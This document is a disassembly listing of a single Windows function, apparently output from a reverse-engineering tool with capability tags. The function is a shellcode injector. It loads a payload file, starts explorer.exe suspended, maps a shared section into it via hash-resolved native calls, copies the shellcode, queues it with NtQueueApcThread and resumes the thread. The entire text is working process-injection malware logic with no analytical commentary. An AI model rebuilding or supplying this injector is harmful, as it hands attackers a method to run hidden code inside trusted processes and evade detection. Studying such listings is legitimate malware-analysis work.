Function at 0x140001940
Capabilities:
Create process on windows
Create process suspended
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x170
mov dword [rsp + 0x50], 0
mov dword [rsp + 0x88], 0
mov dword [rsp + 0x54], 0
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rsp + 0x98]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rsp + 0xe0]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
lea rax, [rsp + 0xf0]
mov rdi, rax
xor eax, eax
mov ecx, 0x10
rep stosb byte [rdi], al
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x78], 0
lea rax, [rsp + 0x100]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
cmp dword [rsp + 0x180], 2
jge 0x140001a64
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x188]
mov rdx, qword [rcx + rax]
lea rcx, str._s_shellcode.bin_n
call fcn.140001ff0
jmp 0x140001f48
lea rdx, [rsp + 0xc0]
mov ecx, 0x916c6394
call fcn.140001190
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140001a86
jmp 0x140001f48
lea rdx, [rsp + 0x98]
mov ecx, 0x625d5a2e
call fcn.140001190
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140001aa8
jmp 0x140001f48
lea rdx, [rsp + 0xd0]
mov ecx, 0x9523617c
call fcn.140001190
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140001aca
jmp 0x140001f48
lea rdx, [rsp + 0xe0]
mov ecx, 0x6d397e74
call fcn.140001190
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140001aec
jmp 0x140001f48
lea rdx, [rsp + 0xf0]
mov ecx, 0x8a4e6274
call fcn.140001190
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140001b0e
jmp 0x140001f48
mov eax, 8
imul rax, rax, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x188]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x140001b83
mov eax, 8
imul rax, rax, 1
mov rcx, qword [rsp + 0x188]
mov rdx, qword [rcx + rax]
lea rcx, str.____Failed_to_open:__s_n
call fcn.140001ff0
jmp 0x140001f48
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov eax, eax
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x140001bb0
lea rcx, str.____File_is_empty__n
call fcn.140001ff0
jmp 0x140001f48
mov r9d, 4
mov r8d, 0x1000
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x78], rax
cmp qword [rsp + 0x78], 0
jne 0x140001be7
lea rcx, str.Out_of_memory_o.0_n
call fcn.140001ff0
jmp 0x140001f48
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x88]
mov r8d, dword [rsp + 0x60]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140001c29
lea rcx, str.___Failed_to_read_n
call fcn.140001ff0
jmp 0x140001f48
mov dword [rsp + 0x100], 0x68
mov dword [rsp + 0x13c], 1
xor eax, eax
mov word [rsp + 0x140], ax
mov eax, dword [rsp + 0x13c]
bts eax, 8
mov dword [rsp + 0x13c], eax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x100]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windowsexplorer.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x140001cbc
jmp 0x140001f48
mov rdx, qword [rsp + 0xc8]
mov ecx, dword [rsp + 0xc0]
call fcn.140001000
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0x40
lea r9, [rsp + 0x60]
xor r8d, r8d
mov edx, 0xe
lea rcx, [rsp + 0x70]
call fcn.14000100d
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jge 0x140001d1c
lea rcx, str.____Failed_to_create_section_n
call fcn.140001ff0
jmp 0x140001f48
mov rdx, qword [rsp + 0x70]
lea rcx, str.___Created_section:_0x_p_n
call fcn.140001ff0
mov rdx, qword [rsp + 0xa0]
mov ecx, dword [rsp + 0x98]
call fcn.140001000
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x48], 4
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x90]
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call fcn.14000100d
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jge 0x140001dae
lea rcx, str.____Failed_to_map_view_of_section_locally_n
call fcn.140001ff0
jmp 0x140001f48
mov rdx, qword [rsp + 0x90]
lea rcx, str.___Mapped_section_locally:_0x_p_n
call fcn.140001ff0
mov rdx, qword [rsp + 0xa0]
mov ecx, dword [rsp + 0x98]
call fcn.140001000
mov dword [rsp + 0x48], 0x40
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 2
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rsp + 0x80]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0x70]
call fcn.14000100d
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jge 0x140001e42
lea rcx, str.____Failed_to_map_view_of_section_remotely_n
call fcn.140001ff0
jmp 0x140001f48
mov rdx, qword [rsp + 0x80]
lea rcx, str.___Mapped_section_remote:_0x_p_n
call fcn.140001ff0
mov dword [rsp + 0x58], 0
jmp 0x140001e6a
mov eax, dword [rsp + 0x58]
inc eax
mov dword [rsp + 0x58], eax
movsxd rax, dword [rsp + 0x58]
cmp rax, qword [rsp + 0x60]
jae 0x140001e96
movsxd rax, dword [rsp + 0x58]
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x90]
mov rdi, qword [rsp + 0x78]
movzx eax, byte [rdi + rax]
mov byte [rdx + rcx], al
jmp 0x140001e60
mov rdx, qword [rsp + 0xd8]
mov ecx, dword [rsp + 0xd0]
call fcn.140001000
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0xb0]
call fcn.14000100d
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jge 0x140001eec
lea rcx, str.____Failed_to_call_NtQueueApcThread_n
call fcn.140001ff0
jmp 0x140001f48
lea rcx, str.___NtQueueApcThread_successfull_n
call fcn.140001ff0
mov rdx, qword [rsp + 0xe8]
mov ecx, dword [rsp + 0xe0]
call fcn.140001000
xor edx, edx
mov rcx, qword [rsp + 0xb0]
call fcn.14000100d
mov dword [rsp + 0x54], eax
cmp dword [rsp + 0x54], 0
jge 0x140001f34
lea rcx, str.____Failed_to_resume_thread_n
call fcn.140001ff0
jmp 0x140001f48
lea rcx, str.___Resumed_thread_n
call fcn.140001ff0
mov dword [rsp + 0x50], 1
cmp qword [rsp + 0xa8], 0
je 0x140001f61
mov rcx, qword [rsp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rsp + 0xb0], 0
je 0x140001f7a
mov rcx, qword [rsp + 0xb0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x50]
add rsp, 0x170
pop rdi
ret